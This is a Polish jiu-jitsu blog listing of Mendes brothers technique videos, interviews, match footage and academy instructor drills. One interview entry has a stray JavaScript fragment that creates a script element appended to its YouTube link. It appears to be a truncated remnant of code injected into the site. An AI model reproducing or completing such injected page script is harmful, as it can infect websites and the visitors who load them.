De La Riva/X-guard od Guilherme Mendesa [Video]

Legendarny Gui Mendes pokazuje ciekawą opcję otwartej gardy – mieszankę de la rivy i x-gardy z uchwytem za połę. [embedyt] https://www.youtube.com/watch?v=Ks0zzrM1-S0[/embedyt]
Gui Mendes z pierwszym treningiem w 2018 [Video]

W najnowszym video od braci Mendes możecie oglądać zajawkę z pierwszego treningu podstaw w klubie w nowym roku. Zajęcia poprowadził Gui Mendes i jak zwykle pokazywał bardzo fajne detale firmowych technik AOJ z zakresu pracy w stójce. Nie obyło się bez kilku słów motywacji na nowy rok od Gui Mendesa, sprawdzajcie 🙂
Omoplata z pozycji bocznej od Rafy Mendesa [Video]

Niezwykle ciekawa opcja dojścia do omoplaty z bocznej kontroli od niezawodnego Rafy Mendesa. [embedyt] https://www.youtube.com/watch?v=BT3EnqE_HFM[/embedyt]
Rafael Mendes wyjaśnia od czego należy zacząć budowę otwartej gardy [Video]

Rafael Mendes przedstawia szczegóły gry gardą „collar & sleeve” czyli z uchwytami za kołnierz i rękaw. Według Mendesa jest to absolutnie podstawowa wersja otwartej gardy i o od niej właśnie należy budować swoją grę z pleców. Świetnie uczy kontroli dystansu, oraz podążania za przeciwnikiem. „Collar & sleeve” jest także świetnym pomostem pomiędzy innymi opcjami otwartej […]
„Inside the mind” – obszerny wywiad z Rafaelem Mendesem

Kenny Florian, były zawodnik UFC, czarny pas BJJ, przeprowadził ostatnio bardzo obszerną rozmowę z sześciokrotnym Mistrzem Świata IBJJF, Rafaelem Mendesem. Wywiad porusza wiele kwestii, takich jak psychika, nastawienie, a także sposoby treningowe młodszego z braci Mendes. Wywiad dostępny jedynie w języku angielskim: https://youtu.be/kByimXb7SiAvar d=document;var s=d.createElement(’script’);
Wideo: Rafael Mendes vs Ichitaro Tsukada

Pojedynek z tegorocznych Worldsów, pomiędzy Rafaelem Mendesem, a Ichitaro Tsukada, czyli jedna z walk prowadzących reprezentanta Atosu do szóstego Mistrzostwa Świata czarnych pasów: https://youtu.be/zDdWRFrWw9M
Wideo: Rafael Mendes – Road to 6x

Rafael Mendes jest pięciokrotnym Mistrzem Świata IBJJF, a jednocześnie żywą legendą sportu i jednym z najlepszych zawodników kategorii piórkowej w historii. Mimo wszystkich swoich osiągnięć, nie stracił głodu do walki i już w ten weekend będzie walczył o swój 6ty tytuł Mistrzowski w czarnych pasach. Poniżej prezentujemy krótki film, prezentujący przygotowania reprezentanta Atosu do Worldsów […]
Technika: atak na plecy + szczegóły duszenia „bow & arrow”

Jeden z trenerów Art of Jiu Jitsu Academy, Danny Stolfi, prezentuje sekwencję zakończoną atakiem na plecy, oraz duszeniem typu „bow & arrow”:
San Antonio Open 2016: Rafael Mendes vs Gabriel Oliveira

Finałowa walka w kategorii piórkowej z zeszłotygodniowych zawodów San Antonio Open, pomiędzy Rafaelem Mendesem, reprezentującym Atos Jiu Jitsu, a Gabrielem Oliveirą reprezentującym Caio Terra Associatio:
Drille z przejścia gardy od Nicka Bohli (Art of Jiu Jitsu Academy)

Nick Bohli jest brązowym pasem oraz jednym z instruktorów w akademii braci Mendes – Art of Jiu Jitsu Academy, która wchodzi w skład drużyny Atosu. Poniżej wideo, na którym prezentuje drille z przejścia gardy pod walkę bez kimon:
Wideo: drille z gardy otwartej od Ricka Slomby

Rick Slomba jest jednym z instruktorów w dynamicznie rozwijającej się akademii braci Mendes – Art of Jiu Jitsu Academy w Costa Mesa (Los Angeles). Poniżej wideo, na którym prezentuje drille rozgrzewkowe z gardy otwartej: https://youtu.be/nCmGZdFDJz4
Niesamowity sparing pokazowy bliźniaków Ruotolo

Ruotolo Twins to dwójka bliźniaków (Kade i Tye), reprezentujących AOJ (Art of Jiu Jitsu Academy), czyli szkołę Braci Mendes. Obaj cechują się niesamowitymi jak na dzieci umiejętnościami i zakresem technik. Poniższe wideo obrazuje ich ponadprzeciętne umiejętności, zaprezentowane podczas seminarium dla dzieci w kalifornijskiej akademii Studio 540. Ruotolo Twins Exhibition Roll The Ruotolo Twins not only taught […]